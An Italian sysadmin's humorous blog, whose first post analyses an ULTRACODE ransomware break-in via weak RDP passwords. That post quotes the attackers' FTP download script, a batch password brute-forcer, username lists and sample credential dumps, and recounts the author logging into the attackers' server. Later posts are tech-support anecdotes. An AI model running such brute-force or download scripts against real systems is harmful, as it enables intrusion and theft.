giovedì 24 aprile 2014

O merda! l' ULTRACODE!

Qualche giorno fa, durante i miei normali servigi di tennico, mi imbattei in una chiamata che mi allarmò non poco, tutti i file documenti posti sul server del cliente erano stati criptati ed avevano estensione .ULTRACODE, conoscevo già il problema e onestamente sudai un poco freddo, poiché non sapevo se il cliente avesse o meno i backup aggiornati...

Lo scenario prevede che il server sia un Windows 2003 qualsiasi edizione, con porta dekstop remoto attiva su 3389 e password relativamente debole.

Una volta collegatomi al server lo sgomento, era tutto inaccessibile, per riavere i file il cripter lascia un .txt in bella mostra sparso in ogni dove, con scritto (la copia schermo non è presa da quel server, rimossi tutti i file prima ancora di conservarne copia):

Accertatomi del problema ho prima di tutto modificato la password di administrator, disattivando eventuali utenti normalmente non presenti (tipicamente hanno nomi strani o abbozzi di nomi), verificando il registro eventi noto diversi tentativi di accesso non riusciti e strane disconnessioni, una volta isolato gli accessi dall'esterno modificando la porta di rdp dalla classica 3389 ad una non standard, potevo ritenermi abbastanza al sicuro dagli accessi non desiderati e concentrarmi sul recupero dei file.

La situazione era la seguente e non era rassicurante:

Non male vero? Considerate che questi sono solo il 2% di tutti i file...Ad ogni modo, ho recuperato i backup, cancellati tutti i file .ULTRACODE e fatto riprendere a lavorare il cliente con lievi problemi tutto sommato gestibili, ma qui entra in ballo la curiosità, come cavolo funziona tutto questo? Gironzolando sul server, trovo un file, "ftp_" aprendolo con il blocco note trovo dati interessanti:

open xxx.xx.xxx.xxx  
user logs logs++  
binary  
get /files/GoogleChromePortable_33.0.1750.117_online.paf.exe  
bye  

Ho volutamente occultato l'ip per evitare che magari qualcuno ci faccia un giro dentro, non si sa mai, come potete notare è presente un login completo di password, lancio un veloce ftp verso l'ip in questione ed accedo tranquillamente sfogliandone il contenuto:


Notando che ero connesso ad una box linux, avvio il fido putty e mi connetto in ssh, ottenendo una funzionale shell su una Ubuntu 10.30

Tramite un $dmesg|more scopro di essere su un server virtuale, facilmente individuabile tramite controlli incrociati di route e di whois dalle parti degli Stati Uniti, presso un provider che offre servizi in cloud (un po come il nostro Aruba)...già cosi sarebbe possibile denunciare il proprietario e tutto il cucuzzaro...


Avendo cosi un accesso remoto, inizio a gironzolare a casa di questi tizi che si divertono a criptare i file, scopro parecchie cose, tra cui tutta una serie di tool di cui si avvalgono per craccare i server terminal, in questo caso utilizzano un software per il remote cracking chiamato du_brute, il software analizza a tentativi migliaia di password, molte le genera (quelle numeriche) molte altre invece fanno parte di un cosi detto attacco a dizionario:

Che voi siate italiani, francesi, spagnoli poco importa, i dizionari ci sono per tutti i gusti...una cosa degna di nota, i super user di cui si testa la password di accesso nel caso di noi italiani sono i seguenti:

amministratore
admin
utente
test
nome utente
direttore
direttore1
amministratori
finestre

Non chiedetemi perché sia ipotizzato che un utente possa chiamarsi 'finestre' ma sappiate che tra i nostri clienti, uno effettivamente esiste(va)...non che quelli inglesi siano meglio....

administrator
Admin
user
user1
user2
user3
test
test1
test2
test3
guest
manager
username

Ad ogni modo, le password testate udite udite, oltre quelle a dizionario, sono previste anche quelle complesse e con complesse intendo cose del tipo: @cc3ss0c0ns3nt1t0 che a scriverla ogni volta già alla terza ve la fate cambiare in 12345678, praticamente gliela date aperta già dopo 2 secondi!









Per scoprire le password di accesso, il server remoto si avvale anche di semplici script e programmini di cui potete vederne l'elenco direttamente sfogliandolo da remoto, uno di questi è un semplice script che si appoggia ad un eseguibile auth.exe (1.bat):

'@echo off

for /l %%x in (1, 1, 100000) do (
  echo 'pass: %%x'
  for /f "tokens=2 delims= " %%i in ('auth.exe /d:%userdomain% /u:%1 /p:%1%%x') do (
    if "%%i"=="Successful." (
      echo "PASSWORD IS: %%x"
      echo %%x > password.txt
      pause
      exit 0
    )
  )
)
pause

Testa di continuo l'autenticazione, ed una volta ottenuta quella valida la trascrive in un file di testo dall'esplicativo nome password.txt, con queste informazioni, l'attaccante può effettivamente scoprire le password del server remoto e fare quello che gli pare...tutte le informazioni vengono poi salvate sul questa linux box sotto forma di semplice file di testo composto da indirizzo_ip@password, come ad esempio:

2.45.237.23@administrator;
2.120.241.11@administrator;12347890p;/
2.223.2.17@administrator;n01
2.276.1.90@administrator;apcoapd
2.211.24.64@administrator;fasher0123
2.2.124.2@administrator;password
5.9.19.26@administrator;accc
31.19.99.19@administrator;

Belle vero? ps: gli indirizzi ip inutile che provate, non sono quelli reali, sono inventati da me, cosi come le password...forse.

Una volta ottenuto l'accesso, il simpatico amico, inizia a scaricare versioni portatili di GoogleChrome e di MozillaFirefox, il motivo è presto detto, sui server generalmente Internet Explorer è protetto da policy tanto rompiscatole che non è possibile usarlo, ma Chrome e Firefox quelli sono tranquillamente utilizzabili e scaricano di tutto. A questo punto, una volta dentro, vengono salvate diverse copie schermo del server violato, probabilmente per capire i momenti migliori per collegarsi, è palese il motivo, se l'attacco prevede il loggarsi con credenziali attive, e l'utente è già connesso, quest'ultimo potrebbe accorgersene, l'attacco prevede quindi una fase di "studio", dove si cerca di capire quando è il momento migliore. Infatti tra i vari "log" trovati vi sono diverse directory associate all'indirizzo IP violato, con tante copie schermo suddivise per orari, una volta chiaro che il legittimo proprietario ad una ora X della giornata non sarà loggato, si potrà pianificare l'accesso per criptare i file e richiedere il famoso riscatto con cui ho iniziato l'articolo :)
Interessante anche il fatto che buona parte degli indirizzi ip corrisponda a dei normali Windows client...se poi tra le copie schermo uno risale alla cronologia...e scopre che magari le password sono usate per qualche conto corrente?



Spero di essere stato utile a fare capire quanto sia importante utilizzare:

1) Password sicure, e con sicure intendo veramente inventate, generate anche da un semplice calcolo che solo noi possiamo fare.
2) MAI lasciare i server accessibili ad ogni tipo di utente, solo l'utente amministratore deve potevi accedere!
3) Possibilmente rinominare Administrator magari in 'rortartsinimda'.
4) Cambiare le porte predefinite per le connessioni remote.
5) Utilizzare antivirus aggiornati, gran parte dei server violati erano con antivirus scaduto, o addirittura senza antivirus, l'esserci un antivirus a prescindere non garantisce che non vi siano violazioni di accesso se mancano i punti sopra elencati.
6) Quando ripulite un sistema attaccato...CAMBIATE LA PASSWORD LO STESSO, praticamente tutti i sistemi sono già stati ripristinati, ma mantengono tutti le stesse password violate!

Ed un ultimo consiglio, fatevi aiutare da un vero tennico, non da vostro cugino, con lui giocateci a calcetto.

By3




mercoledì 23 aprile 2014

Vai su www....

Tanto tempo fa, quando ancora le scoregge sapevano di m***a e non di derivati del petrolio, esistevano i browser internet, esistevano "i portali", e poi esisteva che tu andavi su internet sul sito che ti interessava, tutto al più andavi su un motore di ricerca (ai tempi ci stavano Altavista, Yahoo, un giovane Google) ti cercavi quello che ti interessava e cliccavi e andavi per la tua strada...no, adesso tutto quanto è "search oriented", la parola d'ordine è non-sapere-dove-andare-basta-cercare, cosi da ormai anni, per colpa delle toolbar, dei search sparsi qui e li, mi ritrovo utonti che non sanno manco più scrivere un sito internet alla vecchia maniera!

Vuoi andare alla posta? semplice, apri "BING" e scrivi 'posta', poi clicchi dove ti capita e se hai culo ti apri un nuovo account email, perché il tuo indirizzo lo hai in realtà su libero.it ma poichè BING indicizza prima hotmail.com ecco che ti sei aperto un inutile indirizzo email...ma sto divagando. Il punto è che continuo a parlare al telefono con persone che non capiscono cosa voglia dire "vai sul sito www...." no, tutti a cercarlo, ed io mi addanno, mi addanno pesantemente!


Ad ogni modo....quello che leggo sempre quando invece manderei volentieri a quel paese tutti (quadro realmente appeso alla parete della mia stanza)...


mercoledì 16 aprile 2014

Ludovico Van era un Tennico e ne ho le prove!

Il buon vecchio Ludovico Van, chiamato dal carissimo Alex, suscita curiosità nella mente di molti, ho spesso riflettuto se il suo genio artistico fosse legato al suo carattere, ho quindi fatto due conti su quello che contraddistingue il tipico tennico informatico ed il nostro amato compositore...

Possiamo notare dei punti in comune:

La nevrosi, l'instabilità, a volte la depressione e gli scatti di entusiasmo, e sopratutto una smodata stima di se stessi e convinzione delle proprie capacità!
La sua vita è sempre stata sregolata, grossolana e non mancava mai di un senso dell'umorismo prepotente, intollerante a tantissime cose! Chiaramente questi sintomi sono segnale di un profondo senso di genialità!

Quante volte noi tennici ci troviamo a inveire contro delle stupide carcasse di computer, come se avessero vita propria, quante volte nelle nostre sessioni di "problem solving" finiamo per non dormire la notte, quante volte troviamo soluzione nel bel mezzo di una sbronza? 

Quindi cari amici, quando un tennico vi manda a fare in culo non prendetevela, semplicemente sta iniziando a risolvere il vostro problema, e quando vedrete questa foto spesso ricorrente...

Sappiate che è la stessa faccia che faccio io quando mi vengono a dire "non mi si apre internet"

Pensateci...

mercoledì 9 aprile 2014

Quando c'è crisi c'è crisi...

Che l'italia non se la passi bene in questo ultimo periodo (dove periodo => 6 anni) è un dato di fatto, ma fa riflettere non tanto il fatto che un cliente magari tarda nei pagamenti, fa riflettere di più il fatto che per mandare un fax riutilizzi il medesimo foglio...sempre, cancellando la richiesta precedente con un colpo di penna per scrivere quella nuova!


Ho chiaramente rimosso i riferimenti, la Piera che leggete è la mia povera collega che si deve sorbire queste richieste...fortuna che a me la gente le fa diverse, praticamente come se fossero scritte da un bambino della seconda elementare!



martedì 8 aprile 2014

E' morto Windows XP, evviva XP!

Titolo molto facile e scontato il mio, per il pensiero che dedico a questo sistema operativo, un sistema che ha creato dentro di noi un senso di stabilità che nemmeno quello delle polpette della nonna la domenica a pranzo. E dire che per molti di noi che lo vidimo uscire sul mercato, la su detta nonnina non c'è più adesso, ma lui è arrivo fino al 2014, fresco e pettinato come un peter pan che spesso sembra rappresentarmi...

Mi ricordo quando uscii anni fa, andavo a scuola ed un mio compagno di classe me ne diede una copia ovviamente masterizzata in maniera impietosa su un cd-r che oggi probabilmente fa parte della polvere di qualche discarica, arrivato a casa e messo nel pc di allora, un AMD K6-3D rigorosamente overcloccato sperando che potesse far funzionare qualche emulatore di playstation. Io che ai tempi muovevo i primi passi nel magico mondo *nix in dual boot, formattai cosi il tutto e passate le allora 2 ore per installare, ero davanti l'immagine che sarebbe stata la più famosa di tutti i tempi...


Le collinette di Windows, collinette che solo Chuck Norris sa cosa nascondono, negli anni le leggende hanno narrato che ci fosse la casetta della mulino bianco, o che ci fosse in realtà l'ingresso per Mordor, forse un giorno M$ ce lo dirà...

Durante gli anni si sono avvicendati 3 service pack, la resistenza di Windows XP ha piegato il suo diretto successore Windows (s)Vista, ha incrinato di molto la credibilità di Windows 7, andando anche a minare il magico mondo dei colori che è Windows 8, 14 anni di dominio psicologico che nessuno ha saputo mai abbandonare, e probabilmente nessuno mai abbandonerà, rendendolo quel sistema che "vabbè gli metti windows xp e basta, tanto che devi fare!", di fatto questo OS da noi addetti ai lavori, tennici sistemisti, è visto malissimo, pieno di bug intrinsechi nella sua struttura, cosi esposto ai malware ed ai virus, intollerante agli antivirus, ma compatibile con tutte quelle cose che uno a casa ci passa il tempo...negli anni vedere cose del genere:



...era diventata una regola quasi matematica, già solo sentire al telefono "mi dice qui che sono pieno di virus", addirittura "non riesco a vedere internet" (foto in alto), facevano capire di cosa si trattasse, e che dire del terrificante "virus polizia di stato"...è stato artefice di spaventosi problemi di rete, di spaventose mancanze sulla sicurezza, di assolute incertezze sul funzionamento, imbarazzante il dilagare di versioni rimaneggiate, gente convinta di avere un sistema operativo nuovo quando tutta toca ti diceva diceva "io ho windows ice 6!!" per poi fargli capire che aveva solo installato merda sul suo pc...

E' stato tutto molto difficile con te caro Windows XP, ma era divertente, farti ripartire con un semplice scandisk approfondito, accedere al tuo registro in remoto con un colpo di coda in modalità provvisoria, configurare il tuo bucato firewall per far funzionare Emule, craccare le tue prime versioni di WPA...cercare in un modo o nell'altro di renderti più sicuro, sei stato un buon antagonista delle mie giornate da tennico sistemista, riposa in pace Windows XP, avrò sempre un vecchio pentium 4 per te dove poter ascoltare la tua musichetta post installazione :)




venerdì 4 aprile 2014

Il venerdì di un tennico

Mentre tutta la gente normale gode durante il fine settimana del tempo libero, il venerdì di un tennico sistemista è tipicamente caratterizzato da deliziosi interventi in remoto su quei sistemi "mission critical", dove pure un semplice riavvio di un qualche servizio porta conseguenze tremende all'interno dell'azienda cliente seguita. Di fatto il venerdì è quel giorno in cui tutti i server sono pronti a riavviare tutto, ad un mio segnale scatenate l'inferno direbbe lo zio Massimo Decimo "Vi rompo il culo" Meridio.

Generalmente i venerdì scivolano via tranquilli, ci si alza sorridenti, ci si regala qualche caffè di troppo, dopo tutto la sera si esce e quindi un po di sprint in più non guasta, ad ogni modo i clienti sono pure più propensi a non rompere troppo le scatole, tranne qualcuno che se ne esce con cose del tipo "ma se ti chiamo domani mattina di sabato mi dai una mano a riconfigurare una cosa?" a dire il vero ultimamente accade raramente...meglio cosi.


giovedì 3 aprile 2014

DNS Questo sconosciuto...

Wikipedia dice:
Il sistema dei nomi a dominio, in inglese Domain Name System (spesso indicato con l'acronimo DNS), è un sistema utilizzato per la risoluzione di nomi dei nodi della rete (in inglese host) in indirizzi IP e viceversa. Il servizio è realizzato tramite un database distribuito, costituito dai server DNS.

Il tennico con cui ho avuto a che fare, probabilmente dice altro, e configurato il server dns sull'unico server di dominio in questo modo:

Potete immaginare, che il relay e la risoluzione dei nomi netbios locali è completamente errata...ma alla fine la colpa no, la colpa è del nostro software, non è colpa delle 25 euro che il cliente ha pagato a questo tennico per mettergli "in ginocchio" la rete (non in piedi!).

Non riesco a vedere internet

Penserete che il tizio in questione, sia qualcuno tipo l'oracolo di Matrix, colui che vede la rete, che la sente, che la osserva e che ne carpisce i segreti, una come lei diciamo:


Invece no, è più uno come lui:


Personaggio singolare il Cleitus informatico, pensa di sapere, agisce di istinto e senza seguire un filo logico, almeno ai nostri occhi, crea danni su danni pensando che il resto del mondo sia al suo servigio, il tipico pc del Cleitus informatico è composto da un non meglio precisato numero di software inutili installati e da una serie apocalittica di tool bar installate in internet exploder, questo infatti è cosa i miei occhi hanno visto quando mi sono collegato nel pc da cui non riusciva a vedere internet...

Perché Cleitus, perché lo fai...


Il mouse questo sconosciuto...

Alcune premesse, alcuni dei nostri clienti sono nella loro forma finale, delle commesse di abbigliamento, nulla togliere al genere, ha parecchi meriti, uno dei quali è (solitamente) l'essere carine e simpatiche, qualità che non vanno di pari passo (troppo spesso purtroppo) con l'acume. Detto questo vi racconto la vicenda accadutami qualche mese fa:

Io: Ciao, sono Dario, che problema c'è?
Lei: Non si collega al server remoto e non posso lavorare!!
Io: Ma internet vi funziona?
Lei: Si si funziona!
Io: Ok, tranquillizzati, fammi collegare che vedo quale è il motivo...
Lei: OK!
Io: ...bene, vai su www.$$£/))((&%%.it e clicca su assistenza remota
Lei: Come scusa non capisco...uffa...puoi ripetere?$$£....poi?
Io: Software...COME PROGRAMMA, ma in inglese...
Lei: Somuere...
Io: Se, over the rainbow!
Lei: Eh?
Io: Ti faccio lo spelling...savona, otranto, firenze....
Lei: Ok, cerca con google, software per contabilità...
Io: NO! Non cerca, è un sito, un sito normale, non lo devi cercare, ci devi andare direttamente!
Lei: dove è che devo andare?....ma non puoi venire tu?
Io: Non vengo fin li per una cosa cosi assurda!Vedi li in alto?dove sta scritto www?!?li cancella tutto e scrivi quello che dico io!
Lei: ok..riproviamo
Io: ...
Lei: .....

comunque, è andata avanti cosi per 2 ore, ho provato a farlo fare anche ad uno che stava li, preso dallo sconforto il mio collega mi propone di far chiamare un tizio qualunque che si trovasse davanti al negozio, che sia il fruttivendolo o il meccanico a lato, chiunque, avesse più capacità psico motorie di lei...alla fine sono dovuto scendere, farmi 20 klm per l'intervento più breve della storia dei sysadmin...5 minuti.



Ecco una delle posizioni che assumo durante il la fase prima e dopo un intervento del genere.

Perché ho iniziato mai questa missione disperata...

Quando ero piccolino, sopratutto grassoccio, brutto e impacciato, come tutti i nerd mi avvicinai al magico mondo dell'informatica grazie ad un "home computer", uno di quelli della grande famiglia degli Amstrad, Commodore ecc...

Il mio era un CPC 464 Plus, su di lui ho mosso i primi passi in autonomia, dilettandomi con la creazione di programmini in basic, niente di simile ai pc di adesso....erano giornate, specie le domeniche dopo il mare, o le vacanze estive, passate a digitare goto 10, gotosub, print, e mode vari...erano altri tempi...


Anche se a dire il vero prima di lui potei mettere mano a quello che aveva mio cugino, ovvero la versione non plus u.u, il mio era più meglio assai!

Ad ogni modo, su questa scatola grigia feci i primi esperimenti di programmazione, giocavo tutto il giorno, lo smontavo, lo rompevo, e poi lo risistemavo :)


Oooops!

Ad ogni modo, da quei tempi sono passate tantissime primavere, mi sono spuntati i peli (anche troppi direi), ma la curiosità che mi spingeva a conoscere a fondo ogni cosa non mi ha mai abbandonato, per questo forse ora sono un ficcanaso?no dai...non sono un ficcanaso, sono solo un eterno bambino curioso, non voletemene, la curiosità spinge la gente a fare cose straordinarie!


BSOD Next Gen!

La mia prima bsod di win 8!!!!urraaaaaaaa!



Quando una lettera vale più di mille parole...

Lo spelling questo sconosciuto...

Se io dico digita vu vu vu.anconamilanomilano...non capisci che sto dicendo www.amm...e scrivi vuvuvu.anconamilianomilano....allora benvenuto, sei un nostro cliente!!

Office non lo compra nessuno!

Al telefono con l'ennesimo tennico che la gente chiama pensando che mi possa rubare il mestiere...

Io: "Ciao, dimmi quale è tuo problema..."
Lui: "Non funziona office, il programma dice che non lo trova..."
Io: "Ho sentito che sto office è craccato, vero?"
Lui: "Si...ma che resti tra di noi (#condividiafareschifo) office chi lo compra?nessuno!"
ed incalza
Lui: "In 10 anni ne avremo venduti 3!" (tipica risposta del tecnico da 15 euro alla giornata, amico dell'amico del cugino!)
penso che deve essere lui quello che installa merda quando poi mi chiamano dicendo che office è in palla più totale...
Io: "Senti, sta cosa non si può sentire, non è vero che nessuno compra office! Se veramente devi craccare office almeno fallo bene, usa un seriale ed attivalo telefonicamente!"
Lui: "Non ho seriali io..." (10 anni che lavora dove??)
Io: "Prendilo da un altro pc no?ma che office hai installato?"
Lui: "2007" (ah, aggiornato...)
Io: "Senti, quando registri office male, scassi delle parti fondamentali, ed il nostro prog non lo rileva!"
Lui: "Ma open office?"
Io: "HO DETTO DI NO!"
Io: "Ma che windows è?7?"
Lui: "WindowsXP" (ah, vedo che è tutto nuovo)
Io: "Senti, metti OfficeXp"
Lui: "OK...provo officexp..."

A volte mi sento smarrito in una tabella di routing senza fine...